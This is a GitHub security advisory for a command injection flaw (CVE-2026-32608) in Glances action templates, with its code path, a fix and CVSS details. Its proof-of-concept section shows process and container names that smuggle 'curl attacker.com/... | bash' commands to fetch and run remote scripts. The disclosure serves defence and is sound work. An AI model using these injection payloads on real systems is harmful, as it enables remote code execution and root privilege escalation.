Skip to content

Glances has a Command Injection via Process Names in Action Command Templates

High severity GitHub Reviewed Published Mar 14, 2026 in nicolargo/glances • Updated Mar 19, 2026

Package

pip Glances (pip)

Affected versions

< 4.5.2

Patched versions

4.5.2

Description

Summary

The Glances action system allows administrators to configure shell commands that execute when monitoring thresholds are exceeded. These commands support Mustache template variables (e.g., {{name}}, {{key}}) that are populated with runtime monitoring data. The secure_popen() function, which executes these commands, implements its own pipe, redirect, and chain operator handling by splitting the command string before passing each segment to subprocess.Popen(shell=False). When a Mustache-rendered value (such as a process name, filesystem mount point, or container name) contains pipe, redirect, or chain metacharacters, the rendered command is split in unintended ways, allowing an attacker who controls a process name or container name to inject arbitrary commands.

Details

The action execution flow:

  1. Admin configures an action in glances.conf (documented feature):
[cpu]
critical_action=echo "High CPU on {{name}}" | mail admin@example.com
  1. When the threshold is exceeded, the plugin model renders the template with runtime stats (glances/plugins/plugin/model.py:943):
self.actions.run(stat_name, trigger, command, repeat, mustache_dict=mustache_dict)
  1. The mustache_dict contains the full stat dictionary, including user-controllable fields like process name, filesystem mnt_point, container name, etc. (glances/plugins/plugin/model.py:920-943).

  2. In glances/actions.py:77-78, the Mustache library renders the template:

if chevron_tag:
    cmd_full = chevron.render(cmd, mustache_dict)
  1. The rendered command is passed to secure_popen() (glances/actions.py:84):
ret = secure_popen(cmd_full)

The secure_popen vulnerability (glances/secure.py:17-30):

def secure_popen(cmd):
    ret = ""
    for c in cmd.split("&&"):
        ret += __secure_popen(c)
    return ret

And __secure_popen() (glances/secure.py:33-77) splits by > and | then calls Popen(sub_cmd_split, shell=False) for each segment. The function splits the ENTIRE command string (including Mustache-rendered user data) by &&, >, and | characters, then executes each segment as a separate subprocess.

Additionally, the redirect handler at line 69-72 writes to arbitrary file paths:

if stdout_redirect is not None:
    with open(stdout_redirect, "w") as stdout_redirect_file:
        stdout_redirect_file.write(ret)

PoC

Scenario 1: Command injection via pipe in process name

# 1. Admin configures processlist action in glances.conf:
# [processlist]
# critical_action=echo "ALERT: {{name}} used {{cpu_percent}}% CPU" >> /tmp/alerts.log

# 2. Attacker creates a process with a crafted name containing a pipe:
cp /bin/sleep "/tmp/innocent|curl attacker.com/evil.sh|bash"
"/tmp/innocent|curl attacker.com/evil.sh|bash" 9999 &

# 3. When the process triggers a critical alert, secure_popen splits by |:
#   Command 1: echo "ALERT: innocent
#   Command 2: curl attacker.com/evil.sh   <-- INJECTED
#   Command 3: bash used 99% CPU" >> /tmp/alerts.log

Scenario 2: Command chain via && in container name

# 1. Admin configures containers action:
# [containers]
# critical_action=docker stats {{name}} --no-stream

# 2. Attacker names a Docker container with && injection:
docker run --name "web && curl attacker.com/rev.sh | bash && echo " nginx

# 3. secure_popen splits by &&:
#   Command 1: docker stats web
#   Command 2: curl attacker.com/rev.sh | bash   <-- INJECTED
#   Command 3: echo --no-stream

Impact

  • Arbitrary command execution: An attacker who can control a process name, container name, filesystem mount point, or other monitored entity name can execute arbitrary commands as the Glances process user (often root).

  • Privilege escalation: If Glances runs as root (common for full system monitoring), a low-privileged user who can create processes can escalate to root.

  • Arbitrary file write: The > redirect handling in secure_popen enables writing arbitrary content to arbitrary file paths.

  • Preconditions: Requires admin-configured action templates referencing user-controllable fields + attacker ability to run processes on monitored system.

Recommended Fix

Sanitize Mustache-rendered values before secure_popen processes them:

# glances/actions.py

def _escape_for_secure_popen(value):
    """Escape characters that secure_popen treats as operators."""
    if not isinstance(value, str):
        return value
    value = value.replace("&&", " ")
    value = value.replace("|", " ")
    value = value.replace(">", " ")
    return value

def run(self, stat_name, criticality, commands, repeat, mustache_dict=None):
    for cmd in commands:
        if chevron_tag:
            if mustache_dict:
                safe_dict = {
                    k: _escape_for_secure_popen(v) if isinstance(v, str) else v
                    for k, v in mustache_dict.items()
                }
            else:
                safe_dict = mustache_dict
            cmd_full = chevron.render(cmd, safe_dict)
        else:
            cmd_full = cmd
        ...

References

@nicolargo nicolargo published to nicolargo/glances Mar 14, 2026
Published to the GitHub Advisory Database Mar 16, 2026
Reviewed Mar 16, 2026
Published by the National Vulnerability Database Mar 18, 2026
Last updated Mar 19, 2026

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Local
Attack complexity
High
Privileges required
Low
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H

EPSS score

Exploit Prediction Scoring System (EPSS)

This score estimates the probability of this vulnerability being exploited within the next 30 days. Data provided by FIRST.
(1st percentile)

Weaknesses

Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')

The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component. Learn more on MITRE.

CVE ID

CVE-2026-32608

GHSA ID

GHSA-vcv2-q258-wrg7

Source code

Credits

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.